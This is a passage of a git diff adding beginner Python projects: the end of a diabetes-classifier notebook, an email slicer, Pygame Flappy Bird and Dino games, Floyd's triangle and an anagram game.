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", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "plot_hist_prob(transformed_df)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Preparing and splitting the data" + ] + }, + { + "cell_type": "code", + "execution_count": 14, + "metadata": {}, + "outputs": [], + "source": [ + "X = np.array(transformed_df.drop(['Outcome'], axis=1))\n", + "y = np.array(transformed_df['Outcome'])" + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "(614, 7) (614,)\n", + "(154, 7) (154,)\n" + ] + } + ], + "source": [ + "# Splitting the data into training and testing data\n", + "X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=10)\n", + "print(X_train.shape, y_train.shape)\n", + "print(X_test.shape, y_test.shape)" + ] + }, + { + "cell_type": "code", + "execution_count": 16, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "array([[-1.1328442 , 1.24218175, 0.29835825, ..., 0.09366789,\n", + " 2.53277662, 1.09369357],\n", + " [-0.54212969, -1.20149433, -0.26637371, ..., -0.33958948,\n", + " -0.42789041, 1.12082727],\n", + " [-1.1328442 , 0.56877028, -0.35763907, ..., 0.77929315,\n", + " -1.14542404, -1.54356485],\n", + " ...,\n", + " [-0.24677243, -0.08898764, 0.13530591, ..., 0.1835065 ,\n", + " -0.87116349, -2.03551181],\n", + " [-0.83748694, -1.15788711, -3.65966846, ..., 0.07499607,\n", + " 2.69887337, 0.45177078],\n", + " [ 0.34394208, -0.82429881, 0.13530591, ..., -0.69626559,\n", + " 0.28837473, 1.49486319]])" + ] + }, + "execution_count": 16, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Scaling the data between -1 and 1\n", + "sc = StandardScaler()\n", + "X_train_scaled = sc.fit_transform(X_train)\n", + "X_train_scaled" + ] + }, + { + "cell_type": "code", + "execution_count": 17, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "array([[ 0.04858483, 1.03756097, -0.02836448, ..., 0.50768494,\n", + " -0.04987254, -0.14429947],\n", + " [-0.54212969, -0.22635759, 1.10496321, ..., 0.9061761 ,\n", + " 0.93115394, -0.65089682],\n", + " [-0.83748694, 0.51020725, -1.53290197, ..., -0.33958948,\n", + " -0.80043705, 0.94509167],\n", + " ...,\n", + " [ 1.23001385, -1.29008396, -1.44765005, ..., -0.33958948,\n", + " -1.22111221, -1.62795591],\n", + " [ 0.34394208, 0.36029858, 0.78398709, ..., -0.33958948,\n", + " 1.01869943, 1.43361829],\n", + " [-0.24677243, -0.70564999, -1.53290197, ..., -0.19261244,\n", + " -0.99732773, -1.41952153]])" + ] + }, + "execution_count": 17, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "X_test_scaled = sc.transform(X_test)\n", + "X_test_scaled" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Trying multiple classification algorithms(RandomForest, SVM, Naive Bayes) and getting their accuracy" + ] + }, + { + "cell_type": "code", + "execution_count": 18, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "[0.7597402597402597,\n", + " 0.7467532467532467,\n", + " 0.7532467532467533,\n", + " 0.7532467532467533]" + ] + }, + "execution_count": 18, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "rf = RandomForestClassifier(n_estimators=300, min_samples_split=50)\n", + "svc = SVC(kernel='linear', degree=0, decision_function_shape='ovo')\n", + "nb = GaussianNB()\n", + "lr = LogisticRegression(solver = \"newton-cg\", penalty = 'l2', max_iter=100)\n", + "classifiers = [rf, svc, nb, lr]\n", + "\n", + "accuracies = []\n", + "for clf in classifiers:\n", + " clf.fit(X_train,y_train)\n", + " acc = clf.score(X_test, y_test)\n", + " accuracies.append(acc)\n", + "\n", + "accuracies" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "##### Using RandomForest as it gave better accuracy than others" + ] + }, + { + "cell_type": "code", + "execution_count": 19, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "0.7727272727272727" + ] + }, + "execution_count": 19, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "clf = RandomForestClassifier(n_estimators=300, min_samples_split=50)\n", + "clf.fit(X_train_scaled, y_train)\n", + "acccuracy = clf.score(X_test_scaled, y_test)\n", + "acccuracy" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Saving the model for future development" + ] + }, + { + "cell_type": "code", + "execution_count": 20, + "metadata": {}, + "outputs": [], + "source": [ + "pickle.dump(clf, open(\"classifier.pkl\", \"wb\"))" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### To load the saved model and predict the result" + ] + }, + { + "cell_type": "code", + "execution_count": 21, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "array([1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", + " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", + " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", + " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", + " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", + " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n", + " 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1])" + ] + }, + "execution_count": 21, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "clf = pickle.load(open(\"classifier.pkl\", 'rb'))\n", + "result = clf.predict(X_test)\n", + "result" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.8.10" + }, + "vscode": { + "interpreter": { + "hash": "916dbcbb3f70747c44a77c7bcd40155683ae19c65e1c03b4aa3499c5328201f1" + } + } + }, + "nbformat": 4, + "nbformat_minor": 2 +} diff --git a/Projects/Dinogame.py b/Projects/Dinogame/Dinogame.py similarity index 100% rename from Projects/Dinogame.py rename to Projects/Dinogame/Dinogame.py diff --git a/Projects/Email slicer/Email slicer.py b/Projects/Email slicer/Email slicer.py new file mode 100644 index 000000000..c741ae981 --- /dev/null +++ b/Projects/Email slicer/Email slicer.py @@ -0,0 +1,6 @@ +email = input("Enter Your Email: ").strip() + +username = email[:email.index('@')] +domain = email[email.index('@') + 1:] + +print(f"Your username is {username} & domain is {domain}") diff --git a/Projects/Flappy Bird/Assets/Bird Animation 1/bird0.png b/Projects/Flappy Bird/Assets/Bird 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100644 index 000000000..0f93ed88c Binary files /dev/null and b/Projects/Flappy Bird/Assets/bg1.png differ diff --git a/Projects/Flappy Bird/Assets/bg2.png b/Projects/Flappy Bird/Assets/bg2.png new file mode 100644 index 000000000..d4ffd89f6 Binary files /dev/null and b/Projects/Flappy Bird/Assets/bg2.png differ diff --git a/Projects/Flappy Bird/Assets/bird2.png b/Projects/Flappy Bird/Assets/bird2.png new file mode 100644 index 000000000..5c3e50866 Binary files /dev/null and b/Projects/Flappy Bird/Assets/bird2.png differ diff --git a/Projects/Flappy Bird/Assets/bird3.png b/Projects/Flappy Bird/Assets/bird3.png new file mode 100644 index 000000000..20f3b6964 Binary files /dev/null and b/Projects/Flappy Bird/Assets/bird3.png differ diff --git a/Projects/Flappy Bird/Assets/enemy.png b/Projects/Flappy Bird/Assets/enemy.png new file mode 100644 index 000000000..126248b27 Binary files /dev/null and b/Projects/Flappy Bird/Assets/enemy.png differ diff --git a/Projects/Flappy Bird/Assets/ground1.png b/Projects/Flappy Bird/Assets/ground1.png new file mode 100644 index 000000000..4214357f5 Binary files /dev/null and b/Projects/Flappy Bird/Assets/ground1.png differ diff --git a/Projects/Flappy Bird/FlappyBird.py b/Projects/Flappy Bird/FlappyBird.py new file mode 100644 index 000000000..db38ad232 --- /dev/null +++ b/Projects/Flappy Bird/FlappyBird.py @@ -0,0 +1,436 @@ +import pygame +import sys +import random +import os.path +# UI +choice = input("Press 1 for Single Player Mode\nPress 2 for Two-Player Mode\nPress 3 for Highscores") +if choice == '1': + name = input("Enter Your Name:") + pygame.init() + + # Random no generator + def random_no(): + return random.randint(-280, 50) + + def random_no2(): + return random.randint(100, 400) + + #Level UP + def lvlup(): + global pipe_speed, pipe_space + pipe_space -= 10 + pipe_speed -= 1 + + # Pipes mover + def PipesMover(): + global enemy_rect + for j in range(3): + pipe_rect_up[j] = pipe_rect_up[j].move((pipe_speed, 0)) + pipe_rect_down[j] = pipe_rect_down[j].move((pipe_speed, 0)) + + enemy_rect = enemy_rect.move((pipe_speed, enemy_y_switch)) + + + # pipes printer + def PipesPrinter(): + for k in range(3): + screen.blit(pipe_surface_up[k], pipe_rect_up[k]) + screen.blit(pygame.transform.flip(pipe_surface_down[k], False, True), pipe_rect_down[k]) + + screen.blit(enemy, enemy_rect) + + # pipes regenrator + def PipesRegenerator(): + global enemy_rect, flag + for l in range(3): + if pipe_rect_up[l].right < 0: + pipe_y = random_no() + pipe_rect_up[l] = pipe_surface_up[l].get_rect(center=(1290, pipe_y)) + pipe_rect_down[l] = pipe_surface_down[l].get_rect(center=(1290, pipe_y + pipe_space)) + if(random.randint(0, 4) == 1) and flag != 0: + flag = 0 + enemy_rect = enemy.get_rect(center=(pipe_rect_down[l].x + 250, random_no2())) + + if enemy_rect.right < 0: + enemy_rect = enemy.get_rect(center=(1000, -100)) + flag = 1 + + # Collison Detector + def CollisonDetector(): + + for m in range(3): + if ball_rect.colliderect(pipe_rect_up[m]): + return 1 + if ball_rect.colliderect(pipe_rect_down[m]): + return 1 + if ball_rect.bottom >= 620 or ball_rect.top <= 0: + return 1 + + if ball_rect.colliderect(enemy_rect): + return 1 + + # Score Text + def ScoreDisplay(): + font_score = pygame.font.Font(None, 40) + ren_score = font_score.render(str(int(score)), 0, white) + screen.blit(ren_score, (638, 50)) + + # Game Over Text + def GameOver(): + font = pygame.font.Font(None, 80) + ren = font.render(text, 0, black) + screen.blit(ren, (400, 300)) + + # Writing Highscores + def Highscore_write(): + highscore_file = open("Highscores.txt", "a") + highscore_file.write("\n" + name + " " + str(int(score))) + highscore_file.close() + + # Writing individual Highscores + def Highscore_indiv(): + ind_highscore_file = open(name + ".txt", "a") + ind_highscore_file.write(" " + str(int(score))) + ind_highscore_file.close() + + # colors + black = (0, 0, 0) + red = (255, 26, 79) + white = (255, 255, 255) + ground_colour = (230, 209, 125) + green = (0, 145, 15) + blue = (18, 161, 255) + sky_blue = (164, 238, 255) + + # co-ordinate and other variables + speed = 0 + gravity = 0.25 + frame = 0 + frame_speed = 0.1 + score = 0 + lvlup_counter = 0 + pipe_space = 850 + pipe_speed = -5 + enemy_y = 0 + enemy_y_switch = 2 + flag = 1 + # clock + clock = pygame.time.Clock() + + # screen + screen = pygame.display.set_mode((1280, 720)) + bg_surface = pygame.image.load('Assets/bg1.png').convert() + + # ball + ball_surface1 = pygame.image.load('Assets/Bird Animation 1/bird0.png').convert_alpha() + ball_surface2 = pygame.image.load('Assets/Bird Animation 1/bird1.png').convert_alpha() + ball_surface3 = pygame.image.load('Assets/Bird Animation 1/bird2.png').convert_alpha() + ball_surface = [ball_surface1, ball_surface2, ball_surface3] + + # ball_surface.fill(sky_blue) + # ball_surface[0] = pygame.transform.scale(ball_surface[0], (41, 30)) + # ball_surface[1] = pygame.transform.scale(ball_surface[1], (41, 30)) + # ball_surface[2] = pygame.transform.scale(ball_surface[2], (41, 30)) + ball_rect = ball_surface[0].get_rect(center=(500, 100)) + + # ground surface + ground_surface = pygame.image.load('Assets/ground1.png').convert() + ground_surface1 = pygame.image.load('Assets/ground1.png').convert() + ground_rect = ground_surface.get_rect(bottomleft=(0, 720)) + + # obstacle + enemy = pygame.image.load('Assets/enemy.png').convert_alpha() + enemy_rect = enemy.get_rect(center=(1000, -100)) + + # pipe surface + pipe_surface_up = [] + pipe_surface_down = [] + pipe_rect_up = [] + pipe_rect_down = [] + for i in range(3): + pipe_surface_up.append(pygame.image.load('Assets/Pipe.png').convert()) + pipe_surface_down.append(pygame.image.load('Assets/Pipe.png').convert()) + pipey = random_no() + pipe_rect_up.append(pipe_surface_up[i].get_rect(center=(1000 + i * 432, pipey))) + pipe_rect_down.append(pipe_surface_down[i].get_rect(center=(1000 + i * 432, pipey + pipe_space))) + + while True: + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + if event.type == pygame.KEYDOWN: + speed = -10 + + speed = speed + gravity + frame = frame + frame_speed + score = score + 0.01 + lvlup_counter = lvlup_counter + 1 + enemy_y = enemy_y + enemy_y_switch + if enemy_y == 40: + enemy_y_switch = -2 + if enemy_y == -40: + enemy_y_switch = 2 + if int(frame) > 2: + frame = 0 + ball_rect = ball_rect.move((0, int(speed))) + if ground_rect.right <= 0: + ground_rect.left = 0 + if lvlup_counter > 2000: + lvlup_counter = 0 + lvlup() + ground_rect = ground_rect.move(pipe_speed, 0) + PipesMover() + PipesRegenerator() + screen.fill(white) + screen.blit(bg_surface, (0, 0)) + screen.blit(ball_surface[int(frame)], ball_rect) + PipesPrinter() + screen.blit(ground_surface, ground_rect) + screen.blit(ground_surface, (ground_rect.right, 620)) + ScoreDisplay() + pygame.display.flip() + if CollisonDetector(): + text = "Game Over " + name + GameOver() + Highscore_write() + Highscore_indiv() + pygame.display.flip() + pygame.time.wait(1000) + pygame.quit() + sys.exit() + clock.tick(60) + +elif choice == '2': + name1 = input("Enter the name of Player 1:") + name2 = input("Enter the name of Player 2:") + + pygame.init() + + # Random no generator + def random_no(): + return random.randint(-280, 50) + + def lvlup(): + global pipe_speed, pipe_space + pipe_space -= 10 + pipe_speed -= 1 + + # Pipes mover + def PipesMover(): + for j in range(3): + pipe_rect_up[j] = pipe_rect_up[j].move((pipe_speed, 0)) + pipe_rect_down[j] = pipe_rect_down[j].move((pipe_speed, 0)) + + + # pipes printer + def PipesPrinter(): + for k in range(3): + screen.blit(pipe_surface_up[k], pipe_rect_up[k]) + screen.blit(pygame.transform.flip(pipe_surface_down[k], False, True), pipe_rect_down[k]) + + + # pipes re-generator + def PipesRegenerator(): + for l in range(3): + if pipe_rect_up[l].right < 0: + pipe_y = random_no() + pipe_rect_up[l] = pipe_surface_up[l].get_rect(center=(1290, pipe_y)) + pipe_rect_down[l] = pipe_surface_down[l].get_rect(center=(1290, pipe_y + pipe_space)) + + + # Collision Detector + def CollisionDetector(): + for m in range(3): + if ball_rect.colliderect(pipe_rect_up[m]): + return 1 + if ball_rect.colliderect(pipe_rect_down[m]): + return 1 + if ball2_rect.colliderect(pipe_rect_up[m]): + return 2 + if ball2_rect.colliderect(pipe_rect_down[m]): + return 2 + if ball_rect.bottom >= 620 or ball_rect.top <= 0: + return 1 + if ball2_rect.bottom >= 620 or ball2_rect.top <= 0: + return 2 + + + # Game Over Text + def GameOver(): + font = pygame.font.Font(None, 80) + ren = font.render(text, 0, black) + screen.blit(ren, (500, 300)) + + + # colors + black = (0, 0, 0) + red = (255, 26, 79) + white = (255, 255, 255) + ground_colour = (230, 209, 125) + green = (0, 145, 15) + blue = (18, 161, 255) + sky_blue = (164, 238, 255) + + # text + + text = "" + + # co-ordinate variables + speed1 = 0 + speed2 = 0 + gravity = 0.25 + frame = 0 + frame_speed = 0.2 + lvlup_counter = 0 + pipe_space = 850 + pipe_speed = -5 + + # clock + clock = pygame.time.Clock() + + # screen + screen = pygame.display.set_mode((1280, 720)) + bg_surface = pygame.image.load('Assets/bg1.png').convert() + + # ball + ball_surface1 = pygame.image.load('Assets/bird3.png').convert_alpha() + ball_surface2 = pygame.image.load('Assets/bird3.png').convert_alpha() + ball_surface3 = pygame.image.load('Assets/bird3.png').convert_alpha() + + ball_surface = [ball_surface1, ball_surface2, ball_surface3] + ball_surface[0] = pygame.transform.scale(ball_surface[0], (41, 30)) + ball_surface[1] = pygame.transform.scale(ball_surface[1], (41, 30)) + ball_surface[2] = pygame.transform.scale(ball_surface[2], (41, 30)) + ball_rect = ball_surface[0].get_rect(center=(500, 100)) + + # ball2 + ball2_surface1 = pygame.image.load('Assets/bird2.png').convert_alpha() + ball2_surface2 = pygame.image.load('Assets/bird2.png').convert_alpha() + ball2_surface3 = pygame.image.load('Assets/bird2.png').convert_alpha() + + ball2_surface = [ball2_surface1, ball2_surface2, ball2_surface3] + ball2_surface[0] = pygame.transform.scale(ball2_surface[0], (41, 30)) + ball2_surface[1] = pygame.transform.scale(ball2_surface[1], (41, 30)) + ball2_surface[2] = pygame.transform.scale(ball2_surface[2], (41, 30)) + ball2_rect = ball_surface[0].get_rect(center=(400, 100)) + + # ground surface + ground_surface = pygame.image.load('Assets/ground1.png').convert() + ground_surface1 = pygame.image.load('Assets/ground1.png').convert() + ground_rect = ground_surface.get_rect(bottomleft=(0, 720)) + + # pipe surface + pipe_surface_up = [] + pipe_surface_down = [] + pipe_rect_up = [] + pipe_rect_down = [] + for i in range(3): + print(i) + pipe_surface_up.append(pygame.image.load('Assets/Pipe.png').convert()) + pipe_surface_down.append(pygame.image.load('Assets/Pipe.png').convert()) + pipey = random_no() + pipe_rect_up.append(pipe_surface_up[i].get_rect(center=(1000 + i * 432, pipey))) + pipe_rect_down.append(pipe_surface_down[i].get_rect(center=(1000 + i * 432, pipey + pipe_space))) + + while True: + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + if event.type == pygame.KEYDOWN: + if event.key == pygame.K_UP: + speed1 = -10 + + if event.type == pygame.KEYDOWN: + if event.key == pygame.K_w: + speed2 = -10 + + speed1 = speed1 + gravity + speed2 = speed2 + gravity + frame = frame + frame_speed + + if lvlup_counter > 2000: + lvlup_counter = 0 + lvlup() + if int(frame) > 2: + frame = 0 + ball_rect = ball_rect.move((0, int(speed1))) + ball2_rect = ball2_rect.move((0, int(speed2))) + if ground_rect.right <= 0: + ground_rect.left = 0 + ground_rect = ground_rect.move(pipe_speed, 0) + PipesMover() + PipesRegenerator() + screen.fill(white) + screen.blit(bg_surface, (0, 0)) + screen.blit(ball_surface[int(frame)], ball_rect) + screen.blit(ball2_surface[int(frame)], ball2_rect) + PipesPrinter() + screen.blit(ground_surface, ground_rect) + screen.blit(ground_surface, (ground_rect.right, 620)) + pygame.display.flip() + if CollisionDetector(): + if CollisionDetector() == 1: + text = name2 + " won" + elif CollisionDetector() == 2: + text = name1 + " won" + GameOver() + pygame.display.flip() + pygame.time.wait(1000) + pygame.quit() + sys.exit() + + clock.tick(60) + +elif choice == '3': + print("\n1.Global Highscores \n2.Individual Highscores") + ch = int(input()) + if ch == 1: + def Sorting_scores(e): + return e[0] + + def Sorting_scores2(e): + return int(e[1]) + + highscore_file = open("Highscores.txt", "r+") + index = 0 + scores = [] + for i in highscore_file.readlines(): + scores.append(i.split()) + index = index + 1 + + index = 0 + scores.sort(key=Sorting_scores) + length_scores = len(scores)-1 + while index < length_scores: + if scores[index][0] == scores[index+1][0]: + length_scores = length_scores - 1 + if int(scores[index][1]) >= int(scores[index + 1][1]): + scores.pop(index+1) + else: + scores.pop(index) + else: + index = index+1 + scores.sort(reverse=True, key=Sorting_scores2) + print("\n-----------------------HighScores-----------------------") + for index in scores: + print(index[0] + " - " + index[1]) + input("\nPress any key to exit") + elif ch == 2: + print("Enter Your Name:") + name = input() + if os.path.isfile(name + ".txt"): + ind_highscore_file = open(name + ".txt", "r+") + for i in ind_highscore_file.readlines(): + scores = i.split() + + scores.sort(reverse=True) + print("\n-----------------------HighScores-----------------------") + for i in scores: + print(i) + else: + print("\nSorry, You do not have any highscores") + input("\nPress any key to exit") + + diff --git a/Projects/Floyd's triangle/floyd's_triangle.py b/Projects/Floyd's triangle/floyd's_triangle.py new file mode 100644 index 000000000..6a9a161df --- /dev/null +++ b/Projects/Floyd's triangle/floyd's_triangle.py @@ -0,0 +1,9 @@ +rows = int(input("Please Enter the total Number of Rows : ")) +number = 1 + +print("Floyd's Triangle") +for i in range(1, rows + 1): + for j in range(1, i + 1): + print(number, end = ' ') + number = number + 1 + print() diff --git a/Projects/Games Projects/Anagram Game/Sourodip20kar.md b/Projects/Games Projects/Anagram Game/Sourodip20kar.md new file mode 100644 index 000000000..0c08ed9d1 --- /dev/null +++ b/Projects/Games Projects/Anagram Game/Sourodip20kar.md @@ -0,0 +1,56 @@ +# Anagram Game +## code + +``` +import json +import random + +def word_prompt(data, length): + all_words = list(data.keys()) + while True: + word = random.choice(all_words) + if len(word) < length and len(word) > 2: + return word + +def shuffle_word(word): + array = list(word) + shuffled = word + while True: + random.shuffle(array) + shuffled = ''.join(array) + if shuffled != word: + return shuffled + +if __name__ == "__main__": + filename = 'dictionary_data.json' + file = open(filename) + data = json.load(file) + + print("Welcome to the Anagram Game!") + while(True): + word = word_prompt(data, 5) + question = shuffle_word(word) + meaning = data[word] + + question = question.lower() + word = word.lower() + + print("\nSolve:", question) + print("Hint:", meaning) + + for i in range(5, 0, -1): + print("\nAttempts Left:", i) + guess = input('Make a guess: ').lower() + if guess == word: + print("Correct!") + break + if i == 1: + print("\nCorrect Answer:", word) + + choice = input("\nContinue? [y/n]: ") + print('-'*50) + if choice == 'n': + print("\nThank you for playing!") + break + + ``` diff --git a/Projects/Dice_Rolling/Dice_Rolling.py b/Projects/Games Projects/Dice_Rolling/Dice_Rolling.py similarity index 100% rename from Projects/Dice_Rolling/Dice_Rolling.py rename to Projects/Games Projects/Dice_Rolling/Dice_Rolling.py diff --git a/Projects/Games Projects/Dinogame.py b/Projects/Games Projects/Dinogame.py new file mode 100644 index 000000000..6c958a51d --- /dev/null +++ b/Projects/Games Projects/Dinogame.py @@ -0,0 +1,266 @@ +import pygame +import os +import random +pygame.init() + +# Global Constants +SCREEN_HEIGHT = 600 +SCREEN_WIDTH = 1100 +SCREEN = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT)) + +RUNNING = [pygame.image.load(os.path.join("Assets/Dino", "DinoRun1.png")), + pygame.image.load(os.path.join("Assets/Dino", "DinoRun2.png"))] +JUMPING = pygame.image.load(os.path.join("Assets/Dino", "DinoJump.png")) +DUCKING = [pygame.image.load(os.path.join("Assets/Dino", "DinoDuck1.png")), + pygame.image.load(os.path.join("Assets/Dino", "DinoDuck2.png"))] + +SMALL_CACTUS = [pygame.image.load(os.path.join("Assets/Cactus", "SmallCactus1.png")), + pygame.image.load(os.path.join("Assets/Cactus", "SmallCactus2.png")), + pygame.image.load(os.path.join("Assets/Cactus", "SmallCactus3.png"))] +LARGE_CACTUS = [pygame.image.load(os.path.join("Assets/Cactus", "LargeCactus1.png")), + pygame.image.load(os.path.join("Assets/Cactus", "LargeCactus2.png")), + pygame.image.load(os.path.join("Assets/Cactus", "LargeCactus3.png"))] + +BIRD = [pygame.image.load(os.path.join("Assets/Bird", "Bird1.png")), + pygame.image.load(os.path.join("Assets/Bird", "Bird2.png"))] + +CLOUD = pygame.image.load(os.path.join("Assets/Other", "Cloud.png")) + +BG = pygame.image.load(os.path.join("Assets/Other", "Track.png")) + + +class Dinosaur: + X_POS = 80 + Y_POS = 310 + Y_POS_DUCK = 340 + JUMP_VEL = 8.5 + + def __init__(self): + self.duck_img = DUCKING + self.run_img = RUNNING + self.jump_img = JUMPING + + self.dino_duck = False + self.dino_run = True + self.dino_jump = False + + self.step_index = 0 + self.jump_vel = self.JUMP_VEL + self.image = self.run_img[0] + self.dino_rect = self.image.get_rect() + self.dino_rect.x = self.X_POS + self.dino_rect.y = self.Y_POS + + def update(self, userInput): + if self.dino_duck: + self.duck() + if self.dino_run: + self.run() + if self.dino_jump: + self.jump() + + if self.step_index >= 10: + self.step_index = 0 + + if userInput[pygame.K_UP] and not self.dino_jump: + self.dino_duck = False + self.dino_run = False + self.dino_jump = True + elif userInput[pygame.K_DOWN] and not self.dino_jump: + self.dino_duck = True + self.dino_run = False + self.dino_jump = False + elif not (self.dino_jump or userInput[pygame.K_DOWN]): + self.dino_duck = False + self.dino_run = True + self.dino_jump = False + + def duck(self): + self.image = self.duck_img[self.step_index // 5] + self.dino_rect = self.image.get_rect() + self.dino_rect.x = self.X_POS + self.dino_rect.y = self.Y_POS_DUCK + self.step_index += 1 + + def run(self): + self.image = self.run_img[self.step_index // 5] + self.dino_rect = self.image.get_rect() + self.dino_rect.x = self.X_POS + self.dino_rect.y = self.Y_POS + self.step_index += 1 + + def jump(self): + self.image = self.jump_img + if self.dino_jump: + self.dino_rect.y -= self.jump_vel * 4 + self.jump_vel -= 0.8 + if self.jump_vel < - self.JUMP_VEL: + self.dino_jump = False + self.jump_vel = self.JUMP_VEL + + def draw(self, SCREEN): + SCREEN.blit(self.image, (self.dino_rect.x, self.dino_rect.y)) + + +class Cloud: + def __init__(self): + self.x = SCREEN_WIDTH + random.randint(800, 1000) + self.y = random.randint(50, 100) + self.image = CLOUD + self.width = self.image.get_width() + + def update(self): + self.x -= game_speed + if self.x < 